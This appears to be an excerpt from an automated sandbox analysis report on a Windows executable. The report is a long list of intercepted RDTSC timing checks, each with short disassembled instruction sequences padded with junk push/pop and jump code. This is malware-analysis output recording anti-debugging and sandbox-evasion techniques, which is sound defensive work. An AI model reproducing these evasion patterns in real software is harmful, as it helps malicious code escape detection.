Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40FE3 second address: F40FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F412B6 second address: F412C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F412C2 second address: F412C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F412C6 second address: F412D0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3B813BFB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41493 second address: F41499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41499 second address: F4149D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4149D second address: F414A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40272 second address: F40278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44AF7 second address: F44B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F3B80B6755Ch 0x0000000b jmp 00007F3B80B6755Ah 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 je 00007F3B80B67556h 0x0000001c popad 0x0000001d pop ebx 0x0000001e jbe 00007F3B80B67572h 0x00000024 jbe 00007F3B80B6755Eh 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44B31 second address: F44B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jne 00007F3B813BFB86h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49325 second address: F4932A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4AA0D second address: F4AA11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4AA11 second address: F4AA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B67561h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4AA28 second address: F4AA3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F3B813BFB86h 0x0000000b popad 0x0000000c pushad 0x0000000d jng 00007F3B813BFB86h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DCCE second address: F4DCD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D9AC second address: F4D9D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3B813BFB98h 0x0000000d jl 00007F3B813BFB86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50AE3 second address: F50AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007F3B80B67558h 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50AF0 second address: F50AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3B813BFB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D601 second address: F5D607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D091 second address: F5D0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jo 00007F3B813BFB86h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D0A4 second address: F5D0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D210 second address: F5D21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3B813BFB86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6052F second address: F6053A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F3B80B67556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6053A second address: F60562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jg 00007F3B813BFBA6h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3B813BFB8Ch 0x00000015 jmp 00007F3B813BFB8Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F620A3 second address: F620BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3B80B67561h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67452 second address: F6746E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D171 second address: E8D175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D175 second address: E8D19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F3B813BFB86h 0x0000000d jmp 00007F3B813BFB93h 0x00000012 jns 00007F3B813BFB86h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D19C second address: E8D1BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B80B6755Ah 0x00000009 jmp 00007F3B80B67561h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FD96 second address: F6FD9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FD9C second address: F6FDCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3B80B67567h 0x0000000d jmp 00007F3B80B67561h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FDCC second address: F6FDD2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FDD2 second address: F6FDF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67566h 0x00000007 pushad 0x00000008 js 00007F3B80B67556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76485 second address: F7648D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7648D second address: F76493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F768F0 second address: F76910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB99h 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76A95 second address: F76AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B6755Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C490 second address: F7C49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jc 00007F3B813BFB86h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C49F second address: F7C4A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C4A5 second address: F7C4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C4AF second address: F7C4B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C4B5 second address: F7C4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C4BF second address: F7C4C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BC5C second address: F8BC60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BC60 second address: F8BC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98A80 second address: F98AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F3B813BFB88h 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3B813BFB8Ch 0x00000015 pushad 0x00000016 ja 00007F3B813BFB86h 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F3B813BFB91h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98630 second address: F9863A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3B80B67556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9863A second address: F98640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD970 second address: FAD995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3B80B67564h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F3B80B67556h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD995 second address: FAD999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDC0 second address: FADDDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67569h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDDF second address: FADDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDE3 second address: FADDF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDF6 second address: FADDFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADF81 second address: FADFC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67568h 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F3B80B67567h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jbe 00007F3B80B67556h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADFC7 second address: FADFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADFCC second address: FADFF4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3B80B6756Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3B80B6755Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE400 second address: FAE437 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3B813BFB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F3B813BFB94h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F3B813BFB94h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE570 second address: FAE586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jp 00007F3B80B67556h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE586 second address: FAE58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE74F second address: FAE765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67562h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE765 second address: FAE76B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE76B second address: FAE770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB402B second address: FB402F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4222 second address: FB4228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4228 second address: FB422C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4342 second address: FB434C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3B80B6755Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB434C second address: FB4383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F3B813BFB92h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 je 00007F3B813BFB92h 0x00000016 jbe 00007F3B813BFB8Ch 0x0000001c jno 00007F3B813BFB86h 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4383 second address: FB4389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4389 second address: FB438F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5EF2 second address: FB5EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5EF8 second address: FB5EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5A6F second address: FB5A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7025D second address: 4D702A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bl, F9h 0x0000000d mov edi, ecx 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov edx, esi 0x00000014 mov bx, ax 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b push ecx 0x0000001c mov ch, bl 0x0000001e pop ecx 0x0000001f mov eax, ebx 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3B813BFB92h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70316 second address: 4D7032B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7032B second address: 4D7033B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B813BFB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7033B second address: 4D7033F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1D2D second address: ED1D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1EFE second address: ED1F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D703FC second address: 4D7041D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3B813BFB94h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7041D second address: 4D7044B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B6755Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F3B80B67566h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7044B second address: 4D7044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7044F second address: 4D70455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70514 second address: 4D7054E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F3B813BFB8Dh 0x00000015 and al, 00000066h 0x00000018 jmp 00007F3B813BFB91h 0x0000001d popfd 0x0000001e mov ch, 5Dh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7054E second address: 4D70554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70554 second address: 4D70558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70558 second address: 4D7055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7055C second address: 4D705A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a jmp 00007F3B813BFB90h 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F3B813BFB8Dh 0x0000001a adc ch, 00000026h 0x0000001d jmp 00007F3B813BFB91h 0x00000022 popfd 0x00000023 mov si, F957h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705A3 second address: 4D705B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 76h 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a inc edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705B4 second address: 4D705B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705B8 second address: 4D705CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B6755Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705CB second address: 4D705D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D705D0 second address: 4D705A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B67565h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test al, al 0x0000000e jmp 00007F3B80B6755Eh 0x00000013 jne 00007F3B80B674CAh 0x00000019 mov al, byte ptr [edx] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F3B80B6755Dh 0x00000024 adc ch, 00000026h 0x00000027 jmp 00007F3B80B67561h 0x0000002c popfd 0x0000002d mov si, F957h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7061D second address: 4D70621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70621 second address: 4D7067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edi, dword ptr [ebp+08h] 0x0000000a pushad 0x0000000b mov edx, ecx 0x0000000d pushfd 0x0000000e jmp 00007F3B80B67568h 0x00000013 and eax, 01A4D748h 0x00000019 jmp 00007F3B80B6755Bh 0x0000001e popfd 0x0000001f popad 0x00000020 dec edi 0x00000021 jmp 00007F3B80B67566h 0x00000026 lea ebx, dword ptr [edi+01h] 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c movzx esi, bx 0x0000002f rdtsc
